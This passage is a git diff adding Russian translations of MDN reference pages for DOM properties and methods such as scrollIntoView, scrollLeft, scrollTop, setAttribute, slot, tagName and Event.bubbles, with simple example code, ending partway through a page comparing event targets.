+  <li> <code>true</code>,  верхняя граница элемента будет выровнена вверху видимой части окна прокручиваемой области. Соответствует <code>scrollIntoViewOptions: {block: "start", inline: "nearest"}</code>. Значение по умолчанию<strong>.</strong></li>
+  <li><code>false</code>, нижняя граница элемента будет выровнена внизу видимой части окна прокручиваемой области. Соответствует конфигурации <code>scrollIntoViewOptions: {block: "end", inline: "nearest"}</code></li>
+ </ul>
+ </dd>
+ <dt><code>scrollIntoViewOptions</code> {{optional_inline}} {{experimental_inline}}</dt>
+ <dd>Aргумент типа boolean или типа object со следующим набором опций:</dd>
+ <dt><code>behavior</code> {{optional_inline}}</dt>
+ <dd>Определяет анимацию скролла. Принимает значение <code>"auto"</code> или <code>"smooth"</code>. По умолчанию <code>"auto"</code>.</dd>
+ <dt><code>block</code> {{optional_inline}}</dt>
+ <dd>Вертикальное выравнивание.<br>
+ Одно из значений: <code>"start"</code>, <code>"center"</code>, <code>"end"</code> или <code>"nearest"</code>. По умолчанию <code>"center"</code>.</dd>
+ <dt><code>inline</code> {{optional_inline}}</dt>
+ <dd>Горизонтальное выравнивание.<br>
+ Одно из значений: <code>"start"</code>, <code>"center"</code>, <code>"end"</code> или <code>"nearest"</code>. По умолчанию <code>"nearest"</code>.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button type="button" class="btn"&gt;Нажми на меня&lt;/button&gt;
+
+&lt;div class="big"&gt;&lt;/div&gt;
+
+&lt;div id="box" class="box"&gt;Скрытый элемент&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.big {
+   background: #ccc;
+   height: 300px;
+}
+
+.btn {
+   font-size: 14px;
+}
+
+.box {
+   background: lightgreen;
+   height: 40px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var hiddenElement = document.getElementById("box");
+var btn = document.querySelector('.btn');
+
+function handleButtonClick() {
+   hiddenElement.scrollIntoView({block: "center", behavior: "smooth"});
+}
+
+btn.addEventListener('click', handleButtonClick);
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример')}}</p>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>Область может не полностью прокручивается до элемента (вверх или вниз), это зависит от расположения других элементов.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-element-scrollintoview", "Element.scrollIntoView()")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Initial Definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.scrollIntoView")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Element.scrollIntoViewIfNeeded()")}}<a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/scrollIntoViewIfNeeded"> </a>{{non-standard_inline}}</li>
+</ul>
diff --git a/files/ru/web/api/element/scrollleft/index.html b/files/ru/web/api/element/scrollleft/index.html
new file mode 100644
index 0000000000..15af642a56
--- /dev/null
+++ b/files/ru/web/api/element/scrollleft/index.html
@@ -0,0 +1,79 @@
+---
+title: Элемент.scrollLeft
+slug: Web/API/Element/scrollLeft
+translation_of: Web/API/Element/scrollLeft
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Свойство <strong><code>scrollLeft</code></strong> получает или устанавливает количество пикселей, на которое контент элемента прокручен влево.</p>
+
+<p>Заметьте, что если свойство {{cssxref("direction")}}: <code>rtl</code> (right-to-left), то <code>scrollLeft</code> равен <code>0, </code>когда скроллбар на его самой правой позиции (с начала прокрученного контента), а затем становится отрицательным по мере прокрутки к концу контента.</p>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Синтаксис</h2>
+
+<pre class="eval">// Получаем количество прокрученных пикселей
+var <var>sLeft</var> = <var>element</var>.scrollLeft;
+</pre>
+
+<p><var>sLeft</var> - целое число, представленное количеством пикселей, на которые элемент был прокручен влево.</p>
+
+<pre class="eval">// Устанавливаем количество прокрученных пикселей
+<var>element</var>.scrollLeft = 10;
+</pre>
+
+<p><code>scrollLeft</code> может быть установлен, как любое целое число, однако:</p>
+
+<ul>
+ <li>Если элемент не может быть прокручен (т.е. у него нет переполнения), <code>scrollLeft</code> устанавливается в 0.</li>
+ <li>Если установили значение меньше 0 (больше 0 при располежении элементов справа налево), <code>scrollLeft</code> устанавливается в 0.</li>
+ <li>Если установлено значение больше, чем максимум прокручиваемого контента, <code>scrollLeft</code> устанавливается в максимум.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;style&gt;
+        #container {
+            border: 1px solid #ccc; height: 100px; overflow: scroll; width: 100px;
+        }
+        #content {
+            background-color: #ccc; width: 250px;
+        }
+    &lt;/style&gt;
+    &lt;script&gt;
+        document.addEventListener('DOMContentLoaded', function () {
+            var button = document.getElementById('slide');
+            button.onclick = function () {
+                document.getElementById('container').scrollLeft += 20;
+            };
+        }, false);
+    &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;div id="container"&gt;
+        &lt;div id="content"&gt;Бла-бла-бла&lt;/div&gt;
+    &lt;/div&gt;
+    &lt;button id="slide" type="button"&gt;Пролистать&lt;/button&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-scrollleft', 'scrollLeft')}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/element/scrollto/index.html b/files/ru/web/api/element/scrollto/index.html
new file mode 100644
index 0000000000..c6f78187e4
--- /dev/null
+++ b/files/ru/web/api/element/scrollto/index.html
@@ -0,0 +1,72 @@
+---
+title: Element.scrollTo()
+slug: Web/API/Element/scrollTo
+translation_of: Web/API/Element/scrollTo
+---
+<div>{{ APIRef }}</div>
+
+<p><code><strong>scrollTo()</strong></code> метод интерфейса  {{domxref("Element")}}, осуществляет прокрутку по заданному набору координат внутри данного элемента. </p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">element.scrollTo(<em>x-coord</em>, <em>y-coord</em>)
+element.scrollTo(<em>options</em>)
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<ul>
+ <li><code>x-coord</code> координаты пикселя по горизонтальной оси элемента, который необходимо отобразить вверху слева.</li>
+ <li><code>y-coord</code> координаты пикселя по вертикальной оси элемента, который необходимо отобразить вверху слева.</li>
+</ul>
+
+<p>- or -</p>
+
+<ul>
+ <li><code>options</code> как объект {{domxref("ScrollToOptions")}}, с тремя свойствами.</li>
+</ul>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre class="brush:js">element.scrollTo(0, 1000);
+</pre>
+
+<p>С помощью <code>options</code>:</p>
+
+<pre class="brush: js">element.scrollTo({
+  top: 100,
+  left: 100,
+  behavior: 'smooth'
+});</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-element-scrollto-options-options', 'element.scrollTo()') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы хотите сделать вклад, пожалуйста зайдите на <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам пул реквест. </div>
+
+<p>{{Compat("api.Element.scrollTo")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("Element.scrollTop")}}, {{domxref("Element.scrollLeft")}}</li>
+ <li>{{domxref("Window.scrollTo()")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/scrolltop/index.html b/files/ru/web/api/element/scrolltop/index.html
new file mode 100644
index 0000000000..fa6cbf77de
--- /dev/null
+++ b/files/ru/web/api/element/scrolltop/index.html
@@ -0,0 +1,73 @@
+---
+title: Элемент.scrollTop
+slug: Web/API/Element/scrollTop
+translation_of: Web/API/Element/scrollTop
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code>Свойство<strong> scrollTop</strong></code> считывает или устанавливает количество пикселей, прокрученных от верха элемента. <code>scrollTop</code> измеряет дистанцию от верха элемента до верхней точки видимого контента. Когда контент элемента не создаёт вертикальную прокрутку, его <code>scrollTop</code> равно <code>0</code>.</p>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Синтаксис</h2>
+
+<pre class="eval">//Получаем количество прокрученных пикселей
+var <var> intElemScrollTop</var> = someElement.scrollTop;
+</pre>
+
+<p><var>После выполнения этого кода, </var><code><var>intElemScrollTop</var></code> - целое число пикселей, на которое контент {{domxref("element")}} был прокручен от верха.</p>
+
+<pre class="eval">// Устанавлием количество прокрученных пикселей
+<var>element</var>.scrollTop = <var>intValue</var>;
+</pre>
+
+<p><code>scrollTop</code> может быть любым целым числом, с определенными оговорками:</p>
+
+<ul>
+ <li>Если элемент не может быть прокручен (т.е. у него нет переполнения или если элемент <strong>не прокручиваем</strong>), <code>scrollTop</code> устанавливается в <code>0</code>.</li>
+ <li>Если значение меньше <code>0</code>, <code>scrollTop</code> устанавливается в <code>0</code>.</li>
+ <li>Если установлено значение больше, чем максимум прокручиваемого контента, <code>scrollTop</code> устанавливается в максимум.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<div id="offsetContainer" style="margin: 40px 50px 50px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: relative; display: inline-block;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.</p>
+
+<p>Кот Василий ел картошку.Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.</p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong> <em>margin-top</em> <em>margin-bottom</em> <em>border-top</em> <em>border-bottom</em></div>
+
+<p><img alt="Image:scrollTop.png" class="internal" src="/@api/deki/files/842/=ScrollTop.png"></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-scrolltop', 'scrollTop')}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.scrollTop")}}</p>
+
+<h2 id="Ссылки">Ссылки</h2>
+
+<ul>
+ <li><a class="external" href="http://dev.w3.org/csswg/cssom-view/#dom-element-scrolltop" title="http://dev.w3.org/csswg/cssom-view/#dom-element-scrolltop">W3C Draft CSSOM View Module</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ms534618(VS.85).aspx" title="http://msdn.microsoft.com/en-us/library/ms534618(VS.85).aspx">MSDN's scrollTop definition</a></li>
+ <li><a href="http://msdn.microsoft.com/en-us/library/hh781509(v=vs.85).aspx" title="http://msdn.microsoft.com/en-us/library/hh781509(v=vs.85).aspx">MSDN's Measuring Element Dimension and Location</a></li>
+</ul>
diff --git a/files/ru/web/api/element/setattribute/index.html b/files/ru/web/api/element/setattribute/index.html
new file mode 100644
index 0000000000..0d61d3834e
--- /dev/null
+++ b/files/ru/web/api/element/setattribute/index.html
@@ -0,0 +1,54 @@
+---
+title: Element.setAttribute()
+slug: Web/API/Element/setAttribute
+translation_of: Web/API/Element/setAttribute
+---
+<div>{{APIRef("DOM")}}</div>
+
+<div>Добавляет новый атрибут или изменяет значение существующего атрибута у выбранного элемента.</div>
+
+<div></div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>element</em>.setAttribute(<em>name</em>, <em>value</em>);
+</pre>
+
+<ul>
+ <li><code>name</code> - имя атрибута (строка).</li>
+ <li><code>value</code>  - значение атрибута.</li>
+</ul>
+
+<h2 id="Пример" name="Пример">Пример</h2>
+
+<p>В следующем примере, <code>setAttribute()</code> используется, чтобы установить атрибут {{htmlattrxref("disabled")}}  кнопки {{htmlelement("button")}}, делая её отключенной.</p>
+
+<pre class="brush: html notranslate">&lt;button&gt;Hello World&lt;/button&gt;</pre>
+
+<pre class="brush:js notranslate">var b = document.querySelector("button");
+
+b.setAttribute("disabled", "disabled");
+</pre>
+
+<p>{{ EmbedLiveSample('Пример', '300', '50', '', 'Web/API/Element/setAttribute') }}</p>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>При вызове на элементе внутри HTML документа, setAttribute переведет имя атрибута в нижний регистр.</p>
+
+<p>Если указанный атрибут уже существует, его значение изменится на новое. Если атрибута ранее не существовало, он будет создан.</p>
+
+<p>Несмотря на то, что метод  <code style="font-style: normal;"><a href="/ru/docs/DOM/element.getAttribute" title="DOM/element.getAttribute">getAttribute()</a></code> возвращает null у удаленных атрибутов, вы должны использовать <a href="/ru/docs/DOM/element.removeAttribute" style="font-family: Consolas, Monaco, 'Andale Mono', monospace;" title="DOM/element.removeAttribute">removeAttribute()</a> вместо <em>elt</em><span style="font-family: consolas,monaco,andale mono,monospace;">.setAttribute(</span><em>attr</em><span style="font-family: consolas,monaco,andale mono,monospace;">, null)</span>, чтобы удалить атрибут. Последний заставит значение <code>null</code> быть строкой <code>"null"</code>, <span class="short_text" id="result_box" lang="ru"><span>которая, вероятно,</span> <span>не то, что</span> <span>вы хотите</span><span>.</span></span></p>
+
+<p>Использование setAttribute() для изменения определенных атрибутов особенно значимо в XUL, так как работает непоследовательно, а атрибут определяет значение по умолчанию. Для того, чтобы получить или изменить текущие значения, вы должны использовать свойства. Например, elt.value вместо elt.setAttribure('value', val).</p>
+
+<p>Чтобы установить атрибут, которому значение не нужно, такой как, например, атрибут <code>autoplay</code> элемента {{HTMLElement("audio")}}, используйте null или пустое значение. Например: <code><em>elt</em>.setAttribute('autoplay', '')</code></p>
+
+<div>{{DOMAttributeMethods}}</div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68F082">DOM Level 2 Core: setAttribute</a> (представлено в <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-setAttribute">DOM Level 1 Core</a>)</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#apis-in-html-documents" title="http://www.whatwg.org/specs/web-apps/current-work/#apis-in-html-documents">HTML5: APIs in HTML documents</a></li>
+</ul>
diff --git a/files/ru/web/api/element/slot/index.html b/files/ru/web/api/element/slot/index.html
new file mode 100644
index 0000000000..0317b63cc2
--- /dev/null
+++ b/files/ru/web/api/element/slot/index.html
@@ -0,0 +1,67 @@
+---
+title: Element.slot
+slug: Web/API/Element/slot
+tags:
+  - API
+  - DOM
+  - Element
+  - Property
+  - Reference
+  - shadow dom
+translation_of: Web/API/Element/slot
+---
+<p>{{APIRef("Shadow DOM")}}</p>
+
+<p>Свойство <strong><code>slot</code></strong> интерфейса {{domxref("Element")}} возращает имя слота теневого DOM, в который вставлен элемент.</p>
+
+<p>Слот slot это заполнитель внутри <a href="/en-US/docs/Web/Web_Components">веб компонента</a>, который пользователи могут заполнить собственной разметкой (смотри <a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Использование шаблонов и слотов</a> для получения дополнительной информации).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>aString</em> = <em>element</em>.slot
+<em>element</em>.slot = <em>aString</em>
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("DOMString")}}.</p>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<p>В нашем <a href="https://github.com/mdn/web-components-examples/tree/master/simple-template">примере простого шаблона</a> (<a href="https://mdn.github.io/web-components-examples/simple-template/">смотри в прямом эфире</a>), мы создаем тривиальный пример пользовательского элемента с именем <code>&lt;my-paragraph&gt;</code>, в котором прикрепляется теневой корень, а затем заполняется с использованием содержимого шаблона, содержащего слот с именем <code>my-text</code>.</p>
+
+<p>Когда в документе используется <code>&lt;my-paragraph&gt;</code>, слот заполняется слот-элементом, включая его в элемент с атрибутом <code><a href="/en-US/docs/Web/HTML/Global_attributes/slot">slot</a></code> со значением <code>my-text</code>. Вот один из таких примеров:</p>
+
+<pre class="brush: html">&lt;my-paragraph&gt;
+  &lt;span slot="my-text"&gt;Let's have some different text!&lt;/span&gt;
+&lt;/my-paragraph&gt;</pre>
+
+<p>В нашем JavaScript файле мы получаем ссылку {{htmlelement("span")}}, показанную выше, а затем регестрием ссылку на имя соответствующего элемента <code>&lt;slot&gt;</code>.</p>
+
+<pre class="brush: js">let slottedSpan = document.querySelector('my-paragraph span')
+console.log(slottedSpan.slot); // logs <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">'my-text'</span></span></span></span></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-element-slot','slot')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("api.Element.slot")}}</p>
+</div>
diff --git a/files/ru/web/api/element/tagname/index.html b/files/ru/web/api/element/tagname/index.html
new file mode 100644
index 0000000000..dcc8395756
--- /dev/null
+++ b/files/ru/web/api/element/tagname/index.html
@@ -0,0 +1,47 @@
+---
+title: Element.tagName
+slug: Web/API/Element/tagName
+translation_of: Web/API/Element/tagName
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Возвращает HTML-тег элемента <em>("div", "p", "a" и т.д).</em></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="eval"><em>var elementName</em> = element.tagName;
+</pre>
+
+<ul>
+ <li><strong><code>elementName</code></strong> это строка, содержащая название HTML-тега элемента<code><strong> element.</strong></code></li>
+</ul>
+
+<div class="warning">
+<p>В XML (и XML-подобных языках) возвращаемое значение будет в нижнем регистре, а в HTML - в верхнем.</p>
+</div>
+
+<div class="note">
+<p>Существует более древнее и обыденное свойство <a href="/en/DOM/Node.nodeName" title="En/DOM/Node.nodeName">nodeName</a>!</p>
+</div>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Предположим, есть на странице элемент с id <strong>"born"</strong>:</p>
+
+<pre class="eval">&lt;span id="born"&gt;Я родился...&lt;/span&gt;
+</pre>
+
+<p>Давайте узнаем его HTML-тег:</p>
+
+<pre class="brush: js">var span = document.getElementById("born");
+alert(span.tagName); //"SPAN"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-104682815">DOM Level 2 Core: tagName</a></li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
diff --git a/files/ru/web/api/event/bubbles/index.html b/files/ru/web/api/event/bubbles/index.html
new file mode 100644
index 0000000000..c232c3f044
--- /dev/null
+++ b/files/ru/web/api/event/bubbles/index.html
@@ -0,0 +1,44 @@
+---
+title: Event.bubbles
+slug: Web/API/Event/bubbles
+translation_of: Web/API/Event/bubbles
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Summary" name="Summary">Описание</h3>
+
+<p>Указывает, является ли данное событие всплывающим внутри DOM.</p>
+
+<div class="blockIndicator note">
+<p>Более подробно про всплытие событий: <a href="https://wiki.developer.mozilla.org/ru/docs/Learn/JavaScript/Building_blocks/%D0%A1%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D1%8F#%D0%92%D1%81%D0%BF%D0%BB%D1%8B%D1%82%D0%B8%D0%B5_%D0%B8_%D0%BF%D0%B5%D1%80%D0%B5%D1%85%D0%B2%D0%B0%D1%82_%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D0%B9">Всплытие и перехват событий</a></p>
+</div>
+
+<h3 id="Синтаксис">Синтаксис</h3>
+
+<pre class="notranslate">event.bubbles</pre>
+
+<p>Возвращает булево значение <code>true</code>, если событие является всплывающим внутри DOM.</p>
+
+<h3 id="Syntax" name="Syntax">Пример</h3>
+
+<pre class="eval notranslate"><em>var bool</em> = event.bubbles;
+</pre>
+
+<p><code>bool</code> содержит <code>true</code> или <code>false</code> в зависимости от того, может событие быть всплывающим внутри DOM или нет</p>
+
+<h3 id="Example" name="Example">Пример</h3>
+
+<pre class="notranslate">function handleInput(e) {
+  // Проверяем всплывает ли событие и ...
+  if (!e.bubbles) {
+    // ... пропускаем событие сюда если нет
+    passItOn(e);
+  }
+
+  // Уже всплыло
+  doOutput(e);
+}</pre>
+
+<div class="blockIndicator note">
+<p>Только некоторые события могут всплывать. У таких событий это свойство возвращает <code>true</code>. Вы можете использовать это свойство, чтобы проверить, может ли событие всплывать.</p>
+</div>
diff --git a/files/ru/web/api/event/cancelable/index.html b/files/ru/web/api/event/cancelable/index.html
new file mode 100644
index 0000000000..413d1e5344
--- /dev/null
+++ b/files/ru/web/api/event/cancelable/index.html
@@ -0,0 +1,38 @@
+---
+title: Event.cancelable
+slug: Web/API/Event/cancelable
+translation_of: Web/API/Event/cancelable
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Указывает, является ли событие отменяемым.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>bool</var> = <em>event</em>.cancelable
+</pre>
+
+<ul>
+ <li>Возвращает булево значение <code>true</code>, если событие может быть отменено.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var <var>bool</var> = <em>event</em>.cancelable;
+</pre>
+
+<p><code>bool</code> содержит <code>true</code> или <code>false</code> в зависимости от того, можно ли предотвратить действие события по умолчанию или нет.</p>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>Независимо от того, может событие быть отменено или нет, свойство определяется при инициализации события.</p>
+
+<p>Вызов на событии метода {{domxref("event.preventDefault", "preventDefault()")}} отменяет событие. При этом действие по умолчанию, связанное с событием, не выполняется.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event-canCancel">DOM Level 2 Events: cancelable</a></li>
+</ul>
diff --git a/files/ru/web/api/event/comparison_of_event_targets/index.html b/files/ru/web/api/event/comparison_of_event_targets/index.html
new file mode 100644
index 0000000000..0c05e9118f
--- /dev/null
+++ b/files/ru/web/api/event/comparison_of_event_targets/index.html
@@ -0,0 +1,164 @@
+---
+title: Сравнение разных Event Targets
+slug: Web/API/Event/Comparison_of_Event_Targets
+translation_of: Web/API/Event/Comparison_of_Event_Targets
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Event_targets" name="Event_targets">Event targets</h3>
+
+<p>Легко запутаться в том, какую цель (target) следует изучить при написании обработчика событий. В этой статье разъяснено использование свойств target.</p>
+
+<p>Существуют 5 целей для рассмотрения:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Property</th>
+   <th>Defined in</th>
+   <th>Purpose</th>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.target" title="en/DOM/event.target">event.target</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2/events.html#Events-interface">DOM Event Interface</a></td>
+   <td>
+    <p>Элемент DOM слева от вызова этого события, например:</p>
+
+    <pre class="eval">
+<em>element</em>.dispatchEvent(<em>event</em>)
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.currentTarget" title="en/DOM/event.currentTarget">event.currentTarget</a></td>
+   <td><a class="external" href="https://www.w3.org/TR/DOM-Level-2/events.html#Events-interface">DOM Event Interface</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2/events.html#Events-EventTarget"><code>EventTarget</code></a>, чьи <a class="external" href="http://www.w3.org/TR/DOM-Level-2/events.html#Events-EventListener"><code>EventListeners</code></a> в настоящее время обрабатываются. По мере того, как происходит захват и всплытие событий, это значение изменяется.</td>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.relatedTarget" title="en/DOM/event.relatedTarget">event.relatedTarget</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2/events.html#Events-MouseEvent">DOM MouseEvent Interface</a></td>
+   <td>Определяет вторичную цель для события.</td>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.explicitOriginalTarget" title="en/DOM/event.explicitOriginalTarget">event.explicitOriginalTarget</a></td>
+   <td>{{ Source("/dom/public/idl/events/nsIDOMNSEvent.idl", "nsIDOMNSEvent.idl") }}</td>
+   <td>{{ Non-standard_inline() }} Если по какой-либо причине событие было перенацелено, кроме анонимного пересечения границ, событие будет установлено на цель до перенацеливания. Например, события мыши перенацеливаются на их родительский узел, когда они встречаются над текстовыми узлами ({{Bug ("185889")}}), и в этом случае <code>.target</code> покажет на родителя и <code>.explicitOriginalTarget</code> покажет на текстовый узел.<br>
+    В отличие от <code>.originalTarget</code> — <code>.explicitOriginalTarget</code> никогда не будет содержать анонимный контент.</td>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.originalTarget" title="en/DOM/event.originalTarget">event.originalTarget</a></td>
+   <td>{{ Source("/dom/public/idl/events/nsIDOMNSEvent.idl", "nsIDOMNSEvent.idl") }}</td>
+   <td>{{ Non-standard_inline() }} Первоначальная цель события перед любым перенацеливанием. Подробнее см. <a href="/en-US/docs/XBL/XBL_1.0_Reference/Anonymous_Content#Event_Flow_and_Targeting" title="en/XBL/XBL_1.0_Reference/Anonymous_Content#Event_Flow_and_Targeting">Анонимный контент#Event_Flow_and_Targeting</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Use_of_explicitOriginalTarget_and_originalTarget" name="Use_of_explicitOriginalTarget_and_originalTarget">Использование <code>explicitOriginalTarget</code> и <code>originalTarget</code></h3>
+
+<p>TODO: Only available in a Mozilla-based browser? TODO: Only suitable for extension-developers?</p>
+
+<h3 id="Examples" name="Examples">Примеры</h3>
+
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;meta http-equiv="X-UA-Compatible" content="IE=edge"&gt;
+    &lt;title&gt;Comparison of Event Targets&lt;/title&gt;
+    &lt;style&gt;
+        table {
+            border-collapse: collapse;
+            height: 150px;
+            width: 100%;
+        }
+        td {
+            border: 1px solid #ccc;
+            font-weight: bold;
+            padding: 5px;
+            min-height: 30px;
+        }
+        .standard {
+            background-color: #99ff99;
+        }
+        .non-standard {
+            background-color: #902D37;
+        }
+    &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;table&gt;
+    &lt;thead&gt;
+        &lt;tr&gt;
